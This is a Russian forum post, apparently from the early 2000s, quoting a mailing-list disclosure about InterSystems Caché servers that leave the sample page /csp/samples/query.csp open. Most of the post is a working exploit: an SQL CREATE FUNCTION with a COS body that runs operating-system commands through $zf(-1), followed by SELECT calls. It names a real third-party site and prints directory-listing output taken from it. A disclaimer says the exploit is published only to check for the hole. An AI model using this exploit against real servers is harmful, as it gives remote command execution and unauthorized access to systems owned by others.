Вот давеча общался на ЯХУ в конфе Каше_ру - поругался с ними, всвязи с этим образовались два независимых ресурса для "поговорить" про МСМ - там не на ЯХУ - М_РУ и |>

Так что, если есть желание - милости прошу :)

Ссылку мою - испаганило !!\r
\r
/topic/6622

Вот ведь !!!!! Админам вопрос - править сообщения почему не пускает ?

Итак, внимание ! Моя ПРАВИЛЬНАЯ ссылка !!!

http://forum.uabankir.ru/forums/forumdisplay.php?s=&forumid=44

Цитирую народу переписку дабы не были сильно впечатлительны от возможностей Каши .......

Итак, прошло уже более полутора месяцев. Время, более чем достаточное
для принятия соответствующих мер.
=======================================================================
!!! ВНИМАНИЕ !!!
Эксплоит, публикуется ТОЛЬКО С ЦЕЛЬЮ ПОВЕРКИ уязвимости на предмет
получения удаленного доступа к системам с установленным сервером Cache.
=======================================================================


1) Заходим на любой сайт с открытыми примерами по CSP:
http://site.domain/csp/samples/query.csp


2) В поле "SQL Query" вводим запрос:

CREATE FUNCTION MyCommandExec (IN Command %String, IN Name %String)
PROCEDURE RETURNS %String
LANGUAGE COS
{
x "s:Name="""" Name="" ""","i Name']$g(^aaa(""Name""),$tr($j("""",$l(Name)),"" "",$c(255))),$g(^aaa(-1))=$g(^aaa(0))
s x=$zf(-1,"""_Command_" > MyFile.txt"") k ^aaa s fn=""MyFile.txt"",x=$zu(68,40,1),i=0 o fn u fn
x ""f r x s:x'="""""""" i=i+1,^aaa(i)=x q:$zeof"" u 0 c fn s ^aaa(0)=i,^aaa(-1)=0
s x=$zf(-1,$s($zv[""UNIX"":""rm -f"",1:""del"")_"" MyFile.txt"")"
s ^aaa("Name")=Name,x=""
x "i $g(^aaa(0),0)>0 s i=^aaa(-1)+1 i i'>^aaa(0) s ^aaa(-1)=i,x=^aaa(i) k ^aaa(i)"
q x
}


3) Теперь мы имеем возможность исполнять системные команды следующим
образом:

В поле "SQL Query" вводим строку вида:
SELECT MyCommanExec('командная строка',Name) AS Lines FROM Sample.Person

Ответ читается на этой же CSP-страничке ниже. Если он большой -
нажимайте "Go" несколько раз, пока не получите пустые строки.


Например, на сайте http://www.xiscsp.co.uk выполнение следующей
строки:
SELECT MyCommandExec('dir C:\Inetpub\',Name) AS Lines FROM Sample.Person
приводит к получению результата:

----------------------------------
Lines
----------------------------------
Volume in drive C has no label.
----------------------------------
Volume Serial Number is B45E-6BFB
----------------------------------
Directory of C:\Inetpub
----------------------------------
01/11/2002 12:31
.
----------------------------------
01/11/2002 12:31
..
----------------------------------
30/10/2002 16:24
AdminScripts
----------------------------------
30/10/2002 16:29
ftproot
----------------------------------
13/11/2003 03:02
nntpfile
----------------------------------
30/10/2002 16:28
scripts
----------------------------------
01/11/2002 12:47
wwwroot
----------------------------------
0 File(s) 0 bytes
----------------------------------
7 Dir(s) 668,442,624 bytes free
----------------------------------


5) После проверки удалите созданную функцию, для этого в запросе
просто укажите: DROP FUNCTION MyCommanExec

Как говорит logist, любви...

С уважением,
Александр Глытин


TS> ----- Original Message -----
TS> From: "Eugene Karataev" <ekarataev@mail.ru>;
TS> To: <cache_ru@yahoogroups.com>;
TS> Sent: Friday, October 03, 2003 6:33 PM
TS> Subject: [cache_ru] Крик души


>> Добрый вечер.
>>
>> Господа, с этим нужно что-то делать.
>> Берешь практически любой сайт на котором стоит поддержка csp,
>> вводишь не думая адрес
>> http://site/csp/samples/query.csp
>> и делаешь на сервере что хочешь.
>> Можно понять студенческие сайты ХАИ-шников и МИФИ-шников.
>> Могли не знать. Но когда с первого же тычка получаешь доступ к
>> http://iron.intersystems.com/csp/samples/query.csp
>> то закрадывается мысль что с этим надо что-то делать.
>> Если кто не понял - там можно вводить create function и
>> create procedure с телом на cos.
>> И наказывать не хочется и делать вид что все в порядке тоже.
>> Кто что думает?
>>
>> С уважением,
>> Евгений Каратаев.
>>